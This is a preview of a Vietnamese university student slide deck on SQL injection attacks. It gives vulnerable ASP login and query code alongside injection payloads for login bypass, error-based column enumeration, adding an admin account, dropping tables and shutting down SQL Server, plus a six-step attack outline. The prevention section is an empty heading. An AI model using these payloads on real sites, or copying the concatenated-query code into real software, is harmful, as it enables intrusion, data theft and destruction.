Tải bản đầy đủ (.pptx) (19 trang)

Tiểu luận môn An ninh mạng Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (359.32 KB, 19 trang )

LOGO
Môn : Phản ứng tình huống tấn công mạng.
TRƯỜNG ĐẠI HỌC DUY TÂN
KHOA CÔNG NGHỆ THÔNG TIN
Nhóm 1 : Trần Trung Lý.
Nguyễn Đức Thắng.
Nguyễn Bá Mãi.
Trần Hoàng Ngọc Thiện.
Dương Nguyễn Thái.
Đề tài : TẤN CÔNG BẰNG KỸ THUẬT SQL INJECTION
.
Nội dung trình bày

Hiện trạng.

SQL Injection là gì ?

Các dạng tấn công bằng SQL Injection.

Kỹ thuật tấn công bằng SQL Injection.

Cách phòng tránh.

Demo
Hiện trạng

Năm 2006:Hãng bảo mật SecureWorks cho biết đã phát hiện tới 8.000 vụ tấn công lên các cơ sở dữ
liệu mỗi ngày. Con số thống kê của SecureWorks được thống kê từ hệ thống các cơ sở dữ liệu của hơn
1.300 khách hàng sử dụng các giải pháp dịch vụ bảo mật của hãng này.

4 – 2011: Sun.com và MySQL.com đã bị tấn công bởi kỹ thuật SQL injection,làm lộ ra database của


các website này, bao gồm username và password.

4 – 2011: Chiến dịch phát tán mã độc LizaMoon đã lây nhiễm hàng nghìn các trang web thông qua
SQL injection.

SQL Injection là gì ?

Hậu quả ?

Lỗi này thường xảy ra ở đâu ?
MỘT SỐ DẠNG TẤN CÔNG SQL INJECTION
A
1
2
Tấn công vượt qua form đăng nhập
Tấn công qua câu lệnh select
3
Tấn công qua câu lệnh Having
4
Tấn công qua câu lệnh Union
5
Tấn công qua câu lệnh Insert
6
Tấn công dựa vào Stored procedure
Ví dụ:
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text"
name="fUSRNAME"><br>
Password: <input type="password"

name="fPASSWORD"><br>
<input type="submit">
</form>
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")

strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "

If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If

Set objRS = Nothing
%>
1
Tấn công vượt qua form đăng nhập
Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là:
' OR ' ' = ' '.
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng
nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
1
Tấn công vượt qua form đăng nhập
2
Tấn công qua câu lệnh select
<% Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _
vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "

Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '='
2
Tấn công qua câu lệnh select
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION
nữa. Giả sử đoạn mã nhập vào là:
' DROP TABLE T_AUTHORS
Câu truy vấn sẽ thực hiện việc xóa bảng.
Username: ' having 1=1
Password: [Anything]
Câu SQL trở thành:
select userName from users where userName='' having 1=1
Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function
and there is no GROUP BY clause./login.asp, line 16

3
Tấn công qua câu lệnh Having
Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề
SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng
cách chèn thêm UNION SELECT.
Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường.
Nhờ vào lỗi phát sinh tại mục 3 mà biết được bảng sử dụng trong câu truy vấn là users và trong bảng tồn tại một trường tên là
userName.
Ta tiếp tục sử dụng lênh Group By
Username: ‘group by users.userName having 1=1
4
Tấn công qua câu lệnh Union
Lỗi phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column ‘users.userPass' is invalid in the select list because it is not contained in either an aggregate
function or the GROUP BY clause.
Như vậy userPass là một trường của bảng users và được sử dụng trong câu truy vấn.
Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn
báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được
sử dụng:
Username:’union select sum(userName) from users
4
Tấn công qua câu lệnh Union
Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi
như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type
as an argument.
Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”. Với phương pháp trên, dễ dàng xác
định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào
bảng User.

Username:’;insert into User(userName,userPasss) values(‘admin’,‘’)—
Hacker thêm nội dung như trên và bây giờ trở thành người quản trị mạng mà không cần mật khẩu để chứng thực.
4
Tấn công qua câu lệnh Union
Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One','Value Two','Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng :
<% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " &
strValueThree & " ') " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "
… Set objRS = Nothing %>
5
Tấn công qua câu lệnh Insert
Ví dụ:
‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘
Lúc này câu truy vấn sẽ là :
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + '
','abc','def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó
là:
SELECT TOP 1 FieldName FROM TableName
5
Tấn công qua câu lệnh Insert
Ví dụ: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập:
Username: admin
Password:‘;shutdown—
Lệnh gọi stored procedure như sau:
exec sp_login ‘admin’,‘’;shutdown’
Lệnh shutdown thực hiện dừng SQL Server ngay lập tức.
6
Tấn công dựa vào Stored procedure


Bước 1: Tìm kiếm mục tiêu.

Bước 2: Kiểm tra chỗ yếu của trang web

Bước 3: Nhận data qua ‘database using ODBC error message’

Bước 4: Xác định tên của các column trong table

Bước 5: Thu thập các dữ liệu quan trọng.

Bước 6: Xử lý kết quả tìm được
Kỹ thuật tấn công SQL injetion
C
Cách phòng tránh
D
LOGO
Thanks !

×